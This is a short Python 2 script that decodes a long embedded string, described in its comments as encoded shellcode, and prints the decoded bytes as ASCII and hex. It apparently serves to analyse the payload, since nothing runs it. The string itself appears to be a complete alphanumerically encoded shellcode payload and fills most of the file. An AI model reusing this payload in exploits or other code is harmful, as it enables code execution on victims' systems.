import string # UTF-8 encoded bytes of the shellcode encoded_bytes="\x56\x56\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39\x75\x34\x4a\x42\x39\x6c\x6b\x38\x73\x59\x6b\x50\x6b\x50\x79\x70\x43\x30\x43\x59\x37\x75\x4e\x51\x66\x72\x31\x54\x64\x4b\x4e\x72\x50\x30\x54\x4b\x50\x52\x6c\x4c\x44\x4b\x61\x42\x4d\x44\x74\x4b\x71\x62\x6b\x78\x6a\x6f\x68\x37\x30\x4a\x4e\x46\x50\x31\x79\x6f\x50\x31\x37\x50\x44\x6c\x4d\x6c\x73\x31\x51\x6c\x59\x72\x6e\x4c\x6d\x50\x37\x51\x58\x4f\x6c\x4d\x5a\x61\x49\x37\x4b\x32\x68\x70\x32\x32\x4e\x77\x34\x4b\x71\x42\x6a\x70\x42\x6b\x31\x32\x6f\x4c\x4b\x51\x4a\x30\x32\x6b\x71\x30\x33\x48\x45\x35\x57\x50\x51\x64\x4f\x5a\x6d\x31\x38\x50\x42\x30\x74\x4b\x4d\x78\x6c\x58\x62\x6b\x30\x58\x4f\x30\x6d\x31\x6a\x33\x7a\x43\x6d\x6c\x30\x49\x72\x6b\x4c\x74\x32\x6b\x69\x71\x78\x56\x6e\x51\x59\x6f\x30\x31\x75\x70\x76\x4c\x76\x61\x36\x6f\x6a\x6d\x79\x71\x66\x67\x4c\x78\x79\x50\x64\x35\x58\x74\x39\x73\x51\x6d\x48\x78\x6f\x4b\x71\x6d\x4c\x64\x53\x45\x78\x62\x6e\x78\x42\x6b\x31\x48\x6f\x34\x39\x71\x58\x53\x43\x36\x72\x6b\x6a\x6c\x70\x4b\x32\x6b\x62\x38\x6d\x4c\x6a\x61\x38\x53\x44\x4b\x6a\x64\x44\x4b\x4b\x51\x36\x70\x75\x39\x30\x44\x6d\x54\x4e\x44\x61\x4b\x71\x4b\x4f\x71\x31\x49\x50\x5a\x72\x31\x39\x6f\x67\x70\x4f\x68\x4f\x6f\x30\x5a\x74\x4b\x7a\x72\x58\x6b\x73\x56\x6f\x6d\x71\x58\x50\x6e\x63\x35\x71\x64\x6d\x30\x70\x68\x31\x67\x32\x49\x50\x6e\x30\x69\x32\x69\x4a\x46\x52\x34\x30\x68\x50\x4c\x73\x47\x4b\x76\x49\x77\x49\x6f\x7a\x35\x50\x31\x69\x6f\x4e\x77\x61\x47\x6e\x77\x30\x57\x6f\x66\x52\x48\x6e\x5a\x6f\x66\x53\x49\x75\x57\x69\x6f\x4a\x35\x58\x6b\x4f\x70\x51\x4b\x6c\x71\x79\x39\x32\x31\x6e\x71\x50\x6a\x6b\x53\x6f\x61\x6e\x71\x72\x4a\x50\x50\x72\x33\x72\x30\x50\x68\x32\x37\x61\x79\x43\x6f\x65\x76\x39\x6f\x59\x45\x58\x6b\x30\x4f\x71\x49\x6d\x61\x46\x72\x4e\x72\x42\x48\x6b\x50\x70\x32\x61\x50\x74\x44\x4e\x72\x4e\x72\x42\x32\x72\x31\x30\x52\x62\x30\x53\x38\x68\x6b\x6e\x75\x6e\x4e\x6f\x4b\x6b\x4f\x5a\x35\x45\x39\x36\x66\x61\x5a\x6a\x70\x31\x4b\x52\x48\x61\x70\x6c\x73\x69\x70\x4b\x50\x51\x79\x67\x70\x72\x4a\x6d\x34\x52\x30\x42\x4a\x6b\x6f\x4e\x76\x72\x48\x51\x65\x6e\x66\x65\x4e\x54\x46\x49\x6f\x69\x45\x30\x31\x39\x6f\x6f\x67\x6f\x67\x4e\x77\x32\x37\x51\x46\x32\x48\x4e\x4d\x6a\x66\x4a\x78\x73\x4b\x6b\x4f\x49\x45\x62\x65\x75\x70\x71\x65\x4d\x56\x4e\x6b\x5a\x6f\x72\x64\x75\x33\x6b\x50\x4d\x30\x39\x70\x48\x6b\x58\x51\x77\x79\x56\x44\x59\x70\x4b\x50\x4b\x50\x4b\x38\x66\x4c\x79\x6f\x4b\x4f\x79\x6f\x6e\x4f\x70\x69\x62\x4d\x70\x61\x31\x57\x32\x45\x64\x33\x4e\x4f\x31\x51\x63\x32\x52\x43\x6e\x4f\x4e\x64\x70\x4c\x6e\x4e\x30\x70\x53\x38\x32\x50\x6b\x50\x58\x6b\x52\x4b\x4d\x61\x79\x30\x4f\x6f\x32\x30\x42\x4a\x6d\x32\x30\x6a\x6d\x32\x42\x30\x31\x5a\x59\x72\x70\x6a\x4d\x32\x30\x57\x63\x38\x38\x5a\x59\x66\x59\x4a\x70\x4f\x39\x6f\x36\x75\x36\x33\x4d\x61\x77\x50\x32\x46\x66\x58\x6b\x54\x6d\x33\x4f\x39\x69\x34\x72\x34\x42\x6d\x6e\x6c\x4f\x34\x6d\x38\x6d\x61\x39\x30\x76\x54\x4c\x43\x32\x30\x32\x31\x6f\x66\x63\x38\x4c\x52\x56\x36\x32\x69\x69\x52\x59\x6f\x59\x45\x52\x65\x45\x70\x71\x64\x4c\x6d\x4e\x78\x75\x35\x45\x70\x72\x54\x4a\x76\x71\x5a\x6d\x30\x4f\x64\x52\x30\x62\x6d\x6f\x54\x6f\x34\x6a\x6c\x30\x50\x62\x33\x62\x48\x4c\x6d\x31\x47\x46\x4e\x31\x4b\x69\x6f\x76\x75\x75\x33\x4a\x4c\x39\x74\x48\x6b\x58\x4e\x70\x53\x63\x38\x46\x66\x52\x76\x71\x77\x6e\x72\x79\x6f\x57\x65\x52\x4a\x59\x70\x71\x47\x62\x48\x6c\x71\x32\x6b\x42\x4f\x71\x77\x69\x6f\x76\x75\x61\x5a\x6b\x50\x42\x48\x58\x70\x65\x65\x33\x72\x71\x46\x49\x6f\x39\x45\x58\x68\x64\x50\x49\x6f\x79\x6f\x39\x6f\x4d\x73\x6d\x6a\x6e\x4f\x6e\x4f\x6e\x72\x53\x35\x52\x43\x31\x69\x63\x33\x52\x4c\x62\x45\x30\x72\x6c\x6f\x6c\x6f\x42\x53\x32\x56\x4f\x73\x70\x68\x32\x4f\x32\x53\x73\x44\x6c\x6e\x73\x35\x31\x68\x50\x65\x49\x70\x68\x68\x49\x62\x4b\x4e\x69\x6f\x4b\x4f\x70\x31\x30\x39\x4f\x42\x4c\x6e\x6d\x61\x50\x34\x6d\x64\x6c\x6e\x50\x31\x30\x35\x50\x30\x6e\x4e\x4e\x51\x6f\x48\x4c\x78\x6b\x50\x41\x41" l=len(encoded_bytes)/2 decoded_bytes = str() for i in range(l): #iterating on even numbers as beginning of the block block=encoded_bytes[i*2:i*2+2] #returns the Unicode code point and masks by the lower 4 bits decoded_byte_low = ord(block[1]) & 0x0F #block[1]'s Unicode code point, bitshifted 4 bits to the right #block[0]'s Unicode code point, masked by the lower 4 bits #sum is masked by the lower 4 bits decoded_byte_high = ((ord(block[1]) >> 4) + (ord(block[0]) & 0x0F)) & 0x0F #chr() returns the ASCII character associated to the code point decoded_byte=chr(decoded_byte_low + (decoded_byte_high <<4)) decoded_bytes+=decoded_byte printable_decoded_bytes = ''.join(c for c in decoded_bytes if c in string.printable) #ASCII display print printable_decoded_bytes #hexadecimal display b = bytearray(decoded_bytes) print ''.join('{:02x}'.format(x) for x in b).upper()